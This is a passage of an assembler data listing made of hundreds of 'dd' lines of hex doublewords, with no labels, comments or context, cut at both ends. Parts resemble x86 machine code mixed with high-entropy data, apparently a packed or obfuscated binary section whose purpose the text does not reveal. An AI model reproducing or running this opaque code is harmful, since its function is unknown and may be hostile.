0E0AA2CB1h, 0B3CC9DE3h, 0CB8C6E33h dd 0DB9A1D1Ch, 9A84B66h, 46EF8E27h, 0CF3C9128h, 0D5DC875Ah dd 8AB4426h, 4FEE8769h, 882BC4A6h, 349E8E9h, 0EE345529h dd 9820B93Ch, 6F765CD9h, 8D490FF2h, 53D6F166h, 0A28B092h dd 90000000h, 4C2EEB77h, 7F24DC8Bh, 33EE73A7h, 6C35B851h dd 0A84DF18Ah, 0E8952DC6h, 25C86D06h, 6005AA43h, 9F46E57Eh dd 0E18024BDh, 1FC666FFh, 0BA68003Dh, 89000018h, 0BD552424h dd 4, 4246C01h, 0E189515Dh, 4C181h, 0E9830000h, 240C8704h dd 2414895Ch, 5E08950h, 4, 8704E883h, 895C2404h, 7868242Ch dd 8B06246Ah, 0C4832414h, 2C8B5404h, 4C48124h, 52000000h dd 51A3BB53h, 5C01791Ah, 8F5B0424h, 6D810845h, 1A51A308h dd 2434FF79h, 4C4835Dh, 5324148Bh, 0C381E389h, 4, 4C381h dd 1C870000h, 0E4E95C24h, 0BEFFFA0Fh, 0A2BA8854h, 3BA683E6h dd 246F36B8h, 0FFC50306h, 225F36E0h, 11766D51h, 24325233h dd 0C0A14E57h, 0F8553677h, 0C3988310h, 6E14F657h, 393F6441h dd 0CC2BCE04h, 0A1E4077Eh, 7F806E6Dh, 845E9D5Dh, 729C6C44h dd 8395685Eh, 0D8A7D659h, 704BB02Bh, 9D155C1Dh, 0BD8D8D53h dd 8B062470h, 1E1ED995h, 758D8906h, 6A061E23h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h dd 0F123C350h, 12E9D8h, 14420000h, 0E4ED9185h, 0FD85F8E9h dd 0AB2B3F97h, 0DF223265h, 324D85C7h, 59F4061Eh, 0BD8B0000h dd 61E0019h, 316985C7h, 61Eh, 0B5330000h, 61E1211h, 2949BD23h dd 0B5FF061Eh, 61E2931h, 9E9h, 76390E00h, 6CB7907Ch, 95FF4A4Ah dd 61E16B9h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 16h, 0C8C35040h, 6A49EBh, 26C195FFh, 0C08B061Eh, 4C010EEBh dd 8FA9DC78h, 77520CECh, 0C32CC656h dd 69F204EBh, 43E92311h, 98000005h, 0BED94E0Bh, 0E702773Eh dd 0C279C45h, 344FC46Dh, 3879EEB3h, 0F7BA3B46h, 1EDB6782h dd 45E88EA9h, 7332B5D0h, 4C62FEFEh, 3F494298h, 733109BEh dd 974F31F0h, 79F71100h, 7B8E8618h, 0B8A42196h, 403FEEACh dd 45DCFABFh, 90120C44h, 2A9F4E3Dh, 1D9FB8F0h, 0A18C5854h dd 85CA3925h, 9241FC86h, 6F511093h, 0B09253D6h, 70F89117h dd 0FA88AB1h, 0A64FF26Fh, 0FADC03C4h, 3517DE61h, 916BB1B4h dd 0B264AAA7h, 0B7F1660Fh, 4C474C20h, 0D757F479h, 3D3CEB12h dd 647FF4B9h, 853D1FC2h, 7827CA6Ch, 4A2CE979h, 0C375BBDCh dd 0FAE32823h, 83A455A7h, 9A5B3DE4h, 0BCD74C73h, 967839h dd 392547E1h, 41B0F6F7h, 81C55F43h, 71FCh, 0F0734600h dd 77FA1331h, 5C0BCCAEh, 0D2FEE47Ah, 0DBDC3924h, 0F22DC495h dd 2A490E3h, 0B1AF6B1Ah, 6A81C599h, 1, 35F573B4h, 24D2C51Fh dd 0CF4C9139h, 0C68B825Fh, 91739A28h, 598BA1D9h, 0F43925C6h dd 78F26286h, 3D82F6DEh, 48E98F8Eh, 1695AE66h, 5032F777h dd 0C586688Fh, 0A08223C6h, 8A3130DFh, 888509EBh, 49E89042h dd 6F36B9D4h, 3B5426FAh, 4645F4BDh, 0F5EF05A1h, 613924D2h dd 7A13F51Ch, 0DD1533F2h, 24D31DC7h, 6B798F39h, 0EB3924D2h dd 0CFED32A6h, 24D32BB9h, 37E62B39h, 7839BC55h, 1CC8DE96h dd 3A3924D3h, 0AF76F6F5h, 4D9332CDh, 43898C73h, 10D55972h dd 0E2C47111h, 0F2737221h, 77F8112Fh, 218D0B2h, 3924D2E2h dd 8B082F74h, 0BC1507B5h, 0DC510053h, 95773EC1h, 0D7B978FCh dd 0D5448A27h, 81C5ADE7h, 7CA0h, 0F273EA00h, 30B44D2Fh dd 0E0B8F71h, 0CC9116C8h, 531295AEh, 9150D871h, 4AC7EEAFh dd 374120C9h, 51C67565h, 0AECB136h, 1E34CA71h, 3925C8C6h dd 42244B90h, 40AFF592h, 81C4DC52h, 34FD7C95h, 58DD85h dd 73270000h, 1C07D9F2h, 0D7B219FFh, 5DFB92B0h, 9934CD2Bh dd 3ED7B968h, 9FD7F5B8h, 5A3CE186h, 2D479D99h, 0CA0F3925h dd 0FF9E391Bh, 6D6607B9h, 8D367118h, 77EC13EBh, 2CF573A3h dd 0D32DB44Ah, 0FAB3924h, 0D323C1D7h, 0EE333924h, 776BC3Fh dd 81C5D509h, 1C2h, 0F1730C00h, 73F91230h, 600FD0B2h, 0BADC67Eh dd 18C7886Ah, 0EDCF9619h, 6AAC37Fh, 83667D5Fh, 2ED293E2h dd 0AD30DF06h, 7233B567h, 5A1722FDh, 0EA6D043Ch, 92F558FBh dd 0DD0CC7Bh, 3B3F437Dh, 435C14F6h, 591AFCA5h, 6908ABAAh dd 9856D9F4h, 76C6282h, 88AFF433h, 0BA57EEA6h, 0FC7D300Ch dd 1AC8C473h, 0AB330791h, 9114C60Ch, 8215BD0h, 0A247E77Ah dd 9D475D7Bh, 0B9330790h, 23C6C574h, 6407A082h, 575ADBBDh dd 1EDC5F11h, 790DC08h, 36357A33h, 4A0BEDB0h, 0D8D6AE23h dd 1B87E316h, 49150984h, 0E49335CDh, 1083Ch, 86B38600h dd 10B9CFEDh, 103F42F0h, 0AD50E9CBh, 3C558F04h, 0D59C1CBDh dd 7D00FFAEh, 0B639D2B4h, 0EE8C0DEFh, 24A9F657h, 0AE9961B9h dd 20B53269h, 22A554CDh, 0DE872ADCh, 66939169h, 594C87E4h dd 96000000h, 0DE061C54h, 783924D2h, 78C58433h, 65CFE503h dd 0E73924D3h, 0D34B99AFh, 0C60B3924h, 0E386A317h, 789F6042h dd 0F4A1415Ah, 17CD6345h, 0EB3924D3h, 0B32A4EAh, 0BEF1EE8Eh dd 39B02C74h, 8AA8CFF6h, 0E0041A52h, 76392595h, 0AE868231h dd 48392595h, 6E848E03h, 52000000h, 0CFED86B3h, 0C47332B6h dd 0E96590A6h, 0CE133F42h, 11D053ECh, 37FE819Ch, 24458219h dd 0EED09113h, 8FA1B02Dh, 0B84E30DFh, 3306C027h, 0E2B3F998h dd 0DD7A6D4Bh, 22D1268Bh, 0C3E18023h, 0BE30822Ch, 7B6EF20h dd 1982B792h, 54EDCF96h, 0BEE50CD5h, 0BB288AA0h, 85CA392Ah dd 0BE670AA3h, 74D6EDCh, 0B1CFA495h, 64B179Bh, 2196DB33h dd 0ED86B34Dh, 0C40097CFh, 9287249Bh, 0F4BEBA69h, 0FE3F49DDh dd 0BB3ED7B9h, 8BB6FFA4h, 0D344E64h, 3BFA7D98h, 0FADAC359h dd 7B785835h, 162C6435h, 0DCBBBCEh, 2AD76B88h, 0D2555403h dd 0E0839E13h, 27C65F41h, 0D2E9C7Eh, 0C25FF6C7h, 0FDA0465Eh dd 0DFDD5A1Bh, 48F58DEBh, 0F0737221h, 2E10D559h, 0B6D1466Dh dd 0E29E1C33h, 3CD39ECAh, 52DC081Eh, 357A0DCBh, 3A42C0Eh dd 72000000h, 0EE73A77Fh, 35B85133h, 4DF18A6Ch, 952DC6A8h dd 0C86D06E8h, 5AA4325h, 46E57E60h, 8024BD9Fh, 0C666FFE1h dd 52003D1Fh, 0C281E289h, 4, 5204EA83h, 42474FFh, 24048F5Ah dd 5CB685Ch, 2C890000h, 4DD06824h, 14890000h, 0D6B95124h dd 0C1337023h, 0D1F705E9h, 0E06BF57h, 0F929F840h, 59CD895Fh dd 24148B54h, 5004C483h, 8B8h, 89D00100h, 24048B28h, 4C481h dd 148B0000h, 0E3895324h, 4C381h, 0C3810000h, 4, 5C241C87h dd 57242C8Bh, 0C781E789h, 4, 8704C783h, 0E95C243Ch, 0FFFA098Fh dd 0E93AA788h, 66DA58E6h, 1C9764C5h, 8BB82104h, 3062475h dd 0CDE0FFC5h, 5278D9BFh, 6E7A33D2h, 2098B81h, 903B76C1h dd 0DD77476Fh, 473DFE34h, 0DC6D57F7h, 0EE5E4672h, 5A1E65A3h dd 0E8715519h, 0Ch, 0EC3325B5h, 0F0AE0B70h, 4897202Fh dd 14E9h, 177FC400h, 748EDB40h, 0BDF2E84Fh, 9AB52A75h dd 0ED5A6E3Ah, 0E9605FDFh, 14h, 0AEA67CECh, 0A9BD3E25h dd 275166AEh, 5484BF0Ch, 0F7D37CEh, 9B43EB81h, 81612070h dd 69BCC7h, 8E0F5300h, 0 dd 66F62B58h, 8BE8D7B8h, 8166370Ch, 81F3DBF0h, 5AF23FF1h dd 642CBB44h, 0F1817D99h, 0B51086h, 0C181DA8Bh, 3EB26863h dd 98D0Fh, 840F0000h, 3, 5188C880h, 37048FFCh, 665295B6h dd 835BDF8Bh, 0D68B03EEh, 8146B34Eh, 0FF96ECFEh, 0B0850FFFh dd 0F8FFFFFFh, 221F04EBh, 20E92659h, 68000005h, 8EA91EDBh dd 0B7D247EEh, 0DCF76C35h, 41F945Dh, 849BE63h, 0C76A0B16h dd 0EEAB3752h, 15D85E79h, 43E285A0h, 1C32CECEh, 3F4949C8h dd 7301D98Eh, 974F31F0h, 0D29B495Fh, 6BB23924h, 790FCB3Fh dd 2542DD51h, 99F675ABh, 0A5A4537Ah, 0A83F5D00h, 5B5D49FDh dd 0CC2D8B6Ah, 0D84376F3h, 0FD5EB09h, 473924F5h, 0C3DE5302h dd 4A638120h, 0D303A8A7h, 0F90D2787h, 0A84123D2h, 954F6505h dd 0C1392521h, 0DA73557Ch, 5C759352h, 713214DDh, 21A73D53h dd 6AAF3925h, 5855D9BBh, 14DD6012h, 3FE2849Fh, 6A0FAFCAh dd 5053EF88h, 889EEF5Bh, 39254F5Ch, 0EB38B5FAh, 0D8851D6Dh dd 0FA88AB1h, 4BE4C673h, 8A2507AAh, 0F7CBA5EBh, 58DE90D6h dd 62052095h, 0F129E1C3h, 25D109DBh, 59084D39h, 25D0845Dh dd 0D535439h, 782233Ch, 0EB9AC160h, 0C4D6312Fh, 53EA81h dd 54340000h, 0D2DE061Ch, 55ED3924h, 9105C6A8h, 6252CF4Ch dd 0BDBC538h, 1BDA5D5Ch, 603FA339h, 9A9B3925h, 47E7E554h dd 1A081C5h, 0EA000000h, 0D054F573h, 6F08EA11h, 0AD4628C9h dd 185670Eh, 0B5EDBE04h, 24D3459Fh, 1DCC1139h, 62D79E1Eh dd 88FDA447h, 2FF273B4h, 6D34B44Dh, 0D56C0A8Bh, 2FF23DFh dd 6CEF9EAFh, 2EF37426h, 821B9EB9h, 965739FCh, 70F48D6Fh dd 821FCFB1h, 4DFCD3Ch, 689881C5h, 0E2000000h, 78D9F273h dd 0AD374D0Bh, 0A939259Eh, 0D052E764h, 2CC5A7CEh, 8307E988h dd 0E98E4086h, 33B4CF44h, 0BBD48C6Eh, 0CCCB7A27h, 0CF66842Dh dd 42D7DBB3h, 6D4FFEE6h, 0AA8C55D4h, 0E9CB6A11h, 66408687h dd 0FE6DB350h, 81C53C10h, 0EA8FBC53h, 4C824CBBh, 3FF59Dh dd 733F0000h, 0B44D2FF2h, 0F28D6F32h, 0DA5B0D53h, 73CEA217h dd 0B44A2CF5h, 3924D32Dh, 9364AAABh, 0D29F455Bh, 72B73924h dd 0D2A63E54h, 6BB03924h, 0D50200BCh, 6BB81C5h, 9F000000h dd 8F3EE786h, 30F173D7h, 20C4DA12h, 363924D3h, 0A74EF2F1h dd 735504C5h, 0AC8E57DAh, 25D71D3Eh, 926DE283h, 27BDD3A7h dd 2F3924D3h, 8FA5C3EAh, 3F42DA4Eh, 3AD3B5FAh, 5E79EEB7h dd 0A2381ADBh, 3306CB40h, 5C3EFB87h, 0A0823FC3h, 0FFD91F1Ch dd 67195FFEh, 0E6FF1DC4h, 1CA2A15Ch, 7B67759h, 2DF47792h dd 660FB24Bh, 0BA000384h, 41E46508h, 5C4523A0h, 2BE9A555h dd 0B9B78F04h, 7287E441h, 166h, 1586B3BCh, 9CB2D08Dh, 3924D348h dd 84A2C90Eh, 42EF5B6Eh, 9E80C53Fh, 4EC36205h, 0B77AFB14h dd 666514D5h, 0EB0422C3h, 1C2A44Dh, 54D77052h, 272AAB8Dh dd 0E58C2FE1h, 0F19A9870h, 425387E3h, 9D000000h, 0D3F18AB3h dd 24D377BDh, 1C3A7F39h, 0A3304DE4h, 3315AD1Eh, 2519AD37h dd 0B564A939h, 19A73DD3h, 0BF5B3925h, 19737187h, 9EE33925h dd 0B4266CEFh, 0BCD2F089h, 39251A78h, 0BAC4397Eh, 0E2h dd 82BD5488h, 0B61DC08Dh, 54E5A453h, 32C9011Fh, 0E55BE63Bh dd 3F0F25CAh, 47C928A5h, 0C92C28D7h, 0AF3F43DAh, 4CEF886Ah dd 0CE6E87A5h, 0D5844527h, 680D2660h, 152BE3C5h, 3307ACCFh dd 6C1B4287h, 492BCA6Dh, 7AE2CB3h, 77169533h, 905133F6h dd 48EE8769h, 5E8528CDh, 0CD03657Ch, 3E228A13h, 340E5457h dd 5CE0F933h, 1D63E695h, 0F3D3C86Bh, 80831FD1h, 87C1365Dh dd 2A29D46Eh, 3AFBDD98h, 46DCC8Bh, 1195AEE6h, 0FAA96A4Ch dd 2B55E4FEh, 4B2DC439h, 8962FBF5h, 0C7037726h, 0E1E533B1h dd 0B7DE232Ch, 20B93CD5h, 0D2B4DB9Eh, 2CFD4364h, 0E506DEF4h dd 90A62CE1h, 2CE1E454h, 449BD02h, 0F6A39655h, 19D1B372h dd 0E1E3E103h, 930752Ch, 34AEC4E2h, 1E33065Bh, 1DA2BBD9h dd 6B57658h, 86B3BD91h, 29B9CFEDh, 293F494Ah, 0C66902E4h dd 5770AA1Fh, 703113D6h, 763FC2C1h, 0BA49FE94h, 0C55D537Dh dd 0FD6D778Dh, 0CCE91282h, 0E1A2842Dh, 42880BBAh, 0CF44ED90h dd 9D475D95h, 0B91282FDh, 23C6C574h, 6007A082h, 5071DFC1h dd 0CD5580Ah, 0A57257EEh, 0C38D0D98h, 2D659F14h, 8362CD17h dd 95448912h, 34521396h, 0CB82991Bh, 43100BC6h, 18FAA9D0h dd 390h, 0A77F5E00h, 5133EE73h, 8A6C35B8h, 0C6A84DF1h dd 6E8952Dh, 4325C86Dh, 7E6005AAh, 0BD9F46E5h, 0FFE18024h dd 3D1FC666h, 7C646800h, 0C890000h, 78816824h, 2C890000h dd 0E7895724h, 4C781h, 0EF810000h, 4, 5C243C87h, 0BD243C89h dd 185B0C9Bh, 0ED83DDF7h, 3E5C101h, 0C581EDD1h, 0E790A97Bh dd 243C8B54h, 4C481h, 0C5680000h, 89000040h, 2C81242Ch dd 0B12FAA24h, 8478F6Eh, 0AA084781h, 0FF6EB12Fh, 815F2434h dd 4C4h, 242C8B00h, 81E28952h, 4C2h, 4C28100h, 87000000h dd 0E95C2414h, 0FFFA037Bh, 716A58D6h, 0B833C637h, 6247BA1h dd 0E0FFC503h, 19D4E831h, 62FAE9C5h, 0DA09DF5h, 15BBEB13h dd 4CFDE270h, 33CCE168h, 33590B7Ah, 574ACCABh, 438B702Ah dd 5955C2Bh, 5F19EE34h, 1DD32673h, 4E5118AAh, 3C5C8572h dd 309C87C8h, 4A97A233h, 72817381h, 7D848D8Dh, 0BD290624h dd 61E2BA5h, 8D89C18Bh, 61E2375h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Bh, 1CC35545h, 24A1B4E0h, 0C7BBC41Bh dd 1E324D85h, 683C06h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1B04h, 0C3574700h, 0F18FE45Bh, 0E10EBC6Ch dd 20BDB529h, 9589061Eh, 61E0185h, 2618589h, 85C7061Eh dd 61E3169h, 0 dd 12E9h, 0A254C800h, 0E188A170h, 86A5BC99h, 62D0F029h dd 0FF53AEACh, 1E2931B5h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1604h, 0C3564600h, 816B2314h dd 0D626F8F0h, 0FFF28B3Ah, 1E16B995h, 51006A06h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h dd 633784C0h, 91079735h, 0AE8FFh, 0A21E0000h, 0C2CAFEA2h dd 0F35D6709h, 49852951h, 5A061E19h, 0FF006A5Bh, 1E26C195h dd 0EBC08B06h, 0E9CEAE0Eh, 2B047E32h, 65B8BABEh, 0E8584CE1h dd 0Bh, 0FF430D84h, 18AF816Dh, 8B9F7142h, 1E08A18Dh, 95895B06h dd 61E0091h, 6BE4C381h, 0BF0F0000h, 1AC368C9h, 81660000h dd 5E1AA1E8h, 2F658D89h, 33FF061Eh, 22CCBF66h, 840F605Ah dd 6, 0DBF1C281h, 0B5037C8Eh, 61E20DDh, 0DBF28161h, 0F123EB0h dd 0EA81C2B7h, 0C834EA4h, 81CABF0Fh, 959134F2h, 0DE8514Fh dd 60000000h, 0A56E9FF1h, 0BD7DED20h, 3C0D9F26h, 58596160h dd 7E81389h, 0E2000000h, 1835FA25h, 958925E8h, 61E0F11h dd 7FEB8158h, 81497852h, 3E7AA4F0h, 7BC38171h, 9497852h dd 1E1445BDh, 850F4E06h, 1Bh, 5E9h, 6DB04D00h, 1DE9BA1Ch dd 0E000000h, 7A0A244Ah, 0D195A6D5h, 6061A9A6h, 849BBE66h dd 5BE961FCh, 0B7FFFFFFh, 0FA34241Ch, 11E8h, 69634B00h dd 0FE41F5E3h, 86D014EFh, 0F4EE2E6Eh, 0BF0F7E3Eh, 0C18159C1h dd 6B27h, 0BEh, 2890F00h, 8A000000h, 0E34FFFEh, 0DFE38166h dd 0BD895AF7h, 61E22B5h, 0CBBEA81h, 0E85133C4h, 5, 17ABAD36h dd 0A98D891Ch, 5B061E22h, 9CC28158h, 0E9145416h, 0Ah, 0D84B634Dh dd 64DFD878h, 0F281EA21h, 141076FBh, 3D99509h, 1489061Eh dd 45858B31h, 81061E14h, 5BC95BDBh, 4EE836Ah, 6E9h, 0E5742C00h dd 8126ABD6h, 0FF9570FEh, 8E850FFFh, 0F9FFFFFFh, 6E8h dd 0C0C10C00h, 0F241CB7h, 882h, 8D8B5600h, 61E0E99h, 11E95859h dd 86000000h, 469DB802h, 0B439EC4Ah, 636E35C8h, 1B611CE2h dd 7088C081h, 9D090000h, 61E2291h, 1BF1BAh, 31B58900h dd 8B061E22h, 0D950130h, 81061E20h, 0CE24FCEEh, 88B9665Ch dd 0E8C681CFh, 8949E545h, 1E2F759Dh, 19C68106h, 666866E8h dd 560601B9h, 0BB66008Fh, 0E8813DE1h, 7C6F5F76h, 9E01B966h dd 5F72C081h, 0BB667C6Fh, 0EA814EDEh, 1, 1D850Fh, 0CE90000h dd 0A9000000h, 293350F0h, 0FBB30C7Bh, 0E9B35A4Ch, 21h dd 784F0492h, 0B3A307C9h, 0FF8DE9F3h, 0F66EFFFFh, 3C699259h dd 9F3DF62Ah, 6B9B33DAh, 0DB25CD8Ch, 0A07582BDh, 14690889h dd 8DA6DC78h, 363B4AFBh, 35A12E86h, 0D9259086h, 3025480Ah dd 3D9C9905h, 3F251498h, 30257602h, 0F5980786h, 30235CB4h dd 3057A589h, 0B5E39086h, 363B68C7h, 24A34CC8h, 4A48A6Fh dd 9BE6CFA2h, 89907BB6h, 0BD235C8Bh, 115DF003h, 0BBF56F80h dd 71A08E76h, 7E233AA6h, 0A180C1EEh, 142188C8h, 6994B5EBh dd 2E0F779h, 0B5A82798h, 3604E857h, 0C8AE9879h, 3025343Fh dd 302DFB86h, 3F830986h, 30258A03h, 0F92E0B86h, 0CFD5A489h dd 3DCC6F79h, 0BD254886h, 2E699C1Bh, 3020AA80h, 0D3DA0986h dd 4FC0390Bh, 0BDA844A2h, 3601A124h, 823Eh, 0F1EA6300h dd 0A075826Fh, 14690889h, 8DA6DC78h, 363B4AFBh, 35A12E86h dd 0D9259086h, 3025480Ah, 0E9839905h, 0B9A4F305h, 22h dd 11E8h, 14FDF000h, 24FEF42Eh, 0C39AD4FEh, 0EE29ACD3h dd 858B32FDh, 61E020Dh, 0CAB70F5Fh, 74FFC781h, 0BD890000h dd 61E22F5h, 1D20BBh, 0A8F0F00h, 60000000h, 60A461B9h dd 0D2BF0F49h, 66378B61h, 463ED081h, 6EF0F681h, 0CC8A47E3h dd 373EF681h, 0B5B85661h, 8172E15Ah, 617142C6h, 0BD958B7Eh dd 56061E2Dh, 8FD08B66h, 81B58907h, 83061E02h, 8B6604EFh dd 1EB81CBh, 0F000000h, 0FFFFBC85h, 0CE8B66FFh, 135B04EBh dd 0FCE931FFh, 18000007h, 3E59CE8Bh, 6782F7BEh, 8CA71CC5h dd 0B4CF44EDh, 0B8F96E33h, 773ABBC6h, 9E5BE702h, 0C5680E29h dd 0F3B23550h, 0CCE27E7Eh, 3F495418h, 54B1893Eh, 12F4BD3Bh dd 0D2A0445Ah, 71B63924h, 429F9B4Ah, 833924D3h, 92CC41E0h dd 0D2A0445Ah, 71B63924h, 0D2A73D53h, 6AAF3924h, 343DFCBBh dd 20C5DE16h, 2BDA9B7Dh, 42E91E2Fh, 0A7C50A3Fh, 0BB8B596Fh dd 86CB3306h, 0DB5CF5D7h, 0E386A116h, 8FA86042h, 0A56648E9h dd 5774F7F6h, 0EA27FAC3h, 0AD8FB640h, 40568E2Ch, 330694A4h dd 6ADE9B27h, 0ADF37625h, 44B978FBh, 0E4126E6Ch, 4F2787h dd 54710000h, 47F6BB3Bh, 0E402A748h, 0BFEF4F4Dh, 6615615Bh dd 0A74AEB84h, 0FB4144C5h, 8C01A449h, 0C5D0B6B4h, 276F81h dd 73B90000h, 954D2FF2h, 0FEA3445Dh, 24D2E202h, 0D6577439h dd 413DEC13h, 3924D2A0h, 22D41A9Dh, 5963D89Dh, 23h, 61C5427h dd 3924D2DEh, 7E185C6Fh, 6BDF2919h, 0F7787726h, 28BA5032h dd 9D39259Eh, 6106B8FEh, 0B37347BCh, 0B9CFED86h, 3F42EE14h dd 0AE6BF714h, 1B316987h, 3306B7C9h, 0B799488Dh, 0BDDB9A1Eh dd 0AE5D04A4h, 39A1E39h, 1EDFC160h, 7DBC15F7h, 173FD6F4h dd 1BE0032Bh, 37FE8180h, 0C7E59455h, 0BD18F88Fh, 41157F90h dd 280F9692h, 84C93924h, 0CD1334A2h, 63D8991Bh, 0ED6C1029h dd 0A183AA4Bh, 49FD018Ah, 7FA68EFAh, 0AE2FD1D0h, 0C6876914h dd 0CD27BD9Fh, 552CE8AEh, 243D0E54h, 3130DF82h, 3771E68Fh dd 0C2A024A0h, 25FD7A3Bh, 540CBBFEh, 8A1889B3h, 8A2FD0CFh dd 8C0E7A8h, 0F0733E90h, 29FD7931h, 0C5C8C8B6h, 3D8184h dd 0B3CB0000h, 5438F089h, 24D2A63Eh, 0B36BB039h, 0BD548254h dd 2D27C047h, 0D5D48307h, 5B749253h, 713214DDh, 0BD540AC2h dd 0FF15DF58h, 392572E5h, 67AF2C71h, 0E77A29F6h, 22840Fh dd 0B3520000h, 5438F089h, 24D2A63Eh, 4FED0639h, 456CF7A6h dd 7382548Dh, 0DF7830F1h, 42E788A1h, 38F09F60h, 4F31F073h dd 295499B9h, 728B2339h, 0F50B29CCh, 392051EFh, 0F0732267h dd 0AC75F8AAh, 2FF6758Eh, 68DD8C4Dh, 0F80EA84Dh, 392051ECh dd 1CFE256Ah, 0C467E283h, 7B14F61Dh, 0B95234FDh, 0CB8C6E37h dd 0A68829CCh, 2CFD4344h, 2051CE16h, 1C438839h, 3AEC3235h dd 0A37BF0B5h, 81CA55A5h, 405Eh, 85294200h, 0A98F618Ah dd 0A2C9C823h, 0F0733BF3h, 0CA2DEDBh, 0D1F84726h, 0C0627BB3h dd 0A2CB1915h, 468B3925h, 0DD5CB597h, 0DF5D7694h, 0C4733416h dd 0B8E190A6h, 4A8F3F43h, 0A1E7E468h, 30A54CEFh, 31F0735Ch dd 5643F64Fh, 0CCEA11CCh, 42FA83B6h, 28417D3Fh, 3DFEE081h dd 6ABA341h, 476EB333h, 89B3FED2h, 849AD2F0h, 3924D260h dd 0B125CC6Bh, 26CF6D6Ch, 1CD48344h, 0F0733E90h, 0CF2821DBh dd 0E2A3852Ch, 0F9683365h, 87AE77FAh, 0B629FDCFh, 84C5C8C8h dd 2881h, 89B3CB00h, 3B5438F0h, 582EA2B9h, 0FE2FB816h dd 0F40A28D7h, 3925C3F0h, 54692166h, 30F17382h, 8407DF78h dd 1Fh, 0F089B352h, 0A63E5438h, 993924D2h, 1C54BA72h, 4569D585h dd 2DDC1BC8h, 30F17375h, 7307DF78h, 7C1331F0h, 0C2D16E61h dd 0FC7F7E1Fh, 0EA48635h, 39299544h, 83357B78h, 0A2341E0h dd 1EDFC164h, 5EDFFA6Fh, 9F20B99Bh, 0D5B77E02h, 8A0BED14h dd 0EE8F4187h dd 0A31F073h, 14BFBD95h, 0CA0281CAh, 208730B4h, 64092639h dd 43EB9AC1h, 34h, 0BB3B548Dh, 0A45314F6h, 816302A5h, 42601128h dd 42E9C92Ch, 4CEC053Fh, 3D82F6A5h, 94DAD75Bh, 899F5FE2h dd 3306BB5Bh, 0F44860FBh, 23C7AD50h, 8C60D5FCh, 4F31F073h dd 37FE7E97h, 26E59455h, 8405E13h, 0C4A653EFh, 6D585403h dd 0AB3F4301h, 0B31DF166h, 0CC951889h, 3E90EDA5h, 11DBF073h dd 29940174h, 0FD894168h, 0C8C8B629h, 0F20B84C5h, 4C5A74Eh dd 0D314D0E6h, 0FD423624h, 43A64Eh, 54F00000h, 0D2DE061Ch dd 33783924h, 0DDC9ADB6h, 0FBE7EFAh, 0CD85EC50h, 7F031C54h dd 0CD1713C2h, 893924D2h, 82548C44h, 7830F173h, 0D269A1DFh dd 81B5E545h, 994B4737h, 0BD3925B6h, 8411C978h, 3Bh, 61C5452h dd 3924D2DEh, 0C5843378h, 0EFF50B77h, 673924D2h, 0E0812322h dd 3E5401B9h, 3924D2A6h, 54BA7299h, 90BD5482h, 9A89BE8Bh dd 5598D5B9h, 0D2F92F73h, 0E1802423h, 7307DF29h, 0B94F31F0h dd 39295499h, 2EE02623h, 5A75EA8Bh, 742C0ED7h, 26BFDC5Bh dd 717A04D6h, 5213F51Ch, 1C55E4A3h, 8139E8FEh, 52973F3Eh dd 89B309DDh, 3E9038F0h, 7931F073h, 1774BD54h, 55A5D7F2h dd 0B65D31A6h, 84C5C8C8h, 7A81h, 89B3CB00h, 0EFD19018h dd 0D2C32137h, 4E933924h, 54480027h, 0C75F851Ch, 7C9A64BFh dd 1D13D1CDh, 26433925h, 3F00E283h, 0ACC2FA18h, 39251D38h dd 2B0F831Eh, 73CCED7Bh, 54E59D4Ch, 30F17382h, 88A1DF78h dd 0AF354BE7h, 0A73924D2h, 98593B62h, 6D4F1699h, 5445FDACh dd 6EA972BDh, 824325C8h, 0F8CD2905h, 24F102E2h, 0E80F5439h dd 0F130B4CAh, 0E1263924h, 3B4432h, 0B3120000h, 5438F089h dd 13F5BC3Bh, 6F85A352h, 3924D275h, 54EBA3CAh, 58F17382h dd 34EC13D6h, 3768BD54h, 9154CBC6h, 0D9114FE2h, 255921C3h dd 0E3F93539h, 39255901h, 3AE91055h, 0BA3B5482h, 0A55415F7h dd 0E48A03A6h, 0C4FC1A41h, 9BC7AB2Dh, 0E7E32ADDh, 3925CDFDh dd 5B971459h, 0C3B30F89h, 69C7E2Dh, 3929B94Ch, 7B2D7370h dd 0A9C439F8h, 247D5F06h, 43FE8415h, 5B79A061h, 3EE23045h dd 8E03483Fh, 0F989B3BAh, 24D301E3h, 7D38CA39h, 2166DA9Bh dd 0F8DA9B22h, 90581037h, 31F0733Eh, 0B273FA13h, 1C544B03h dd 24D2DE06h, 15337839h, 24D2E5FFh, 7D2C7139h, 0C8B63408h dd 8184C5C8h, 3Eh, 0F089B3CBh, 0A63E5438h, 63924D2h, 0C4A64FEDh dd 9BE05403h, 738254E3h, 0DA1230F1h, 24D320C4h, 0E4FA3639h dd 3924D300h, 3BEA1156h, 0D8BD5483h, 4DB436BAh, 20F88B3Ah dd 1984h, 89B35200h, 0ABD29718h, 0A63E54F3h, 993924D2h dd 8254BA72h, 7830F173h, 0F07307DFh, 43F64F31h, 0BFD8102Eh dd 7B697F23h, 0DB3924D2h, 0C4C06F96h, 3F42DFEDh, 9A0BE03h dd 34B972DBh, 0C20FF471h, 336DE291h, 0F7678B9Ch, 29D82648h dd 84A2CF6Ah, 2B0AC46Eh, 7E92E39h, 0B52ACB6Eh, 304E179Ah dd 8F9DD799h, 7694405Ch, 0E29B8460h, 0DE8DD22Ch, 35B166FCh dd 0E28064BEh, 38BC5537h, 786C82h, 99DEF507h, 56F59072h dd 0B44C3610h, 0D7D0291Dh, 0F4139051h, 0C0D6F495h, 0F507BA24h dd 0BB3EED32h, 8120C375h, 0A74EF10Ch, 0E48D2CC5h, 2D739402h dd 2C42F87Bh, 0F507B9B8h, 0BD32599Eh, 74561FA2h, 3ECh dd 0A77FBA00h, 5133EE73h, 8A6C35B8h, 0C6A84DF1h, 6E8952Dh dd 4325C86Dh, 7E6005AAh, 0BD9F46E5h, 0FFE18024h, 3D1FC666h dd 0E2895200h, 4B850h, 0C2010000h, 4EA8358h, 5C241487h dd 43C68h, 241C8900h, 81E18951h, 4C1h, 4E98100h, 87000000h dd 895C240Ch, 0BE56243Ch, 98239BBh, 4E03EEC1h, 8107E6C1h dd 0E65BC6h, 